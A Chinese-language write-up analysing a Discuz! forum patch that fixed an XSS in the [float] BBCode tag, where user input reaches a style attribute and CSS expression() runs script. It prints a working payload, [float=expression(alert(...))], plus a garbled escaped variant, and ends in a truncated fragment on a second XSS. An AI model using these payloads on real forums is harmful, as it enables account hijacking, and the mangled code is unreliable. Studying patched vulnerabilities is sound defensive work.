对比补丁我们发现在\include\discuzcode.func.php里:
$discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则 "/\[ali gn=([^\[\<]+?)\]/i", ---->补丁前 "/\[flo at=([^\ [\<]+?)\]/i" | V "/\[align=(left|center|right)\]/i", ---->补丁后 "/\[float=(left|right)\]/i" 继续看下面的codz是杂处理这2个标签的:
$discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则
........ "<p align= \"\\1\">", "<br styl e=\ "cl ear: both\"><span style=\"float: \\1;\">" 替换的代码部分:
$ mess age = str_replace($discuzcodes['searcharray']['bbcode_str'], $ discuzcodes['replacearray']['bbcode_str'], pre g_replace( ($p ars etype != 1 && $ all owb bcode == 2 && $GLOBALS['_DCACHE']['bbcode s'] ? array_merge($discuzcode s ['sea rcharra y']['bbcod e_regexp'], $GLOB ALS['_DCACHE']['bbcodes']['sear charray']) : $discuzcod es ['searcharray']['bbcode_regexp']), ($parsety pe != 1 && $a llo wbb code == 2 && $GLOBALS['_DCACHE ']['bbcodes'] ? arra y_merge( $discuzc odes[ 'replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbc odes']['rep la ce array']) : $discuzco d es['r e pl ace array']['bb cod e_reg ex p']), $message)); 经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<> 这也就是意味着 "/\[ align= ([^\[\<]+?)\]/ i"-->"<p align =\" \\1\ ">" 是没办法用"<>等闭合,我们再看float标签:
"/\[floa t= ([^ \[\<]+? )\]/ i" -->"<br style=\"clear: both\"><span style=\"flo at: \\1;\">" 替换后的\\1进入<span styl e= ,哈哈 style=里利用expression()是不需要"闭和的 :)。
测试codz:
[float=expression(alert(123456789))]test[/float] 上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看"/\[float=([^\[\<]+?)\]/i" 这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了 所以完全是可以利用的 如:
\31\32\33\34\35\ 36\37\38\39\29\29]test[/float] 不过还是弹筐筐 :)。
后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。
Dz0724补丁补掉的另外一个xss
\include\common.inc.php里:
( $PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
责任编辑:hackfly
|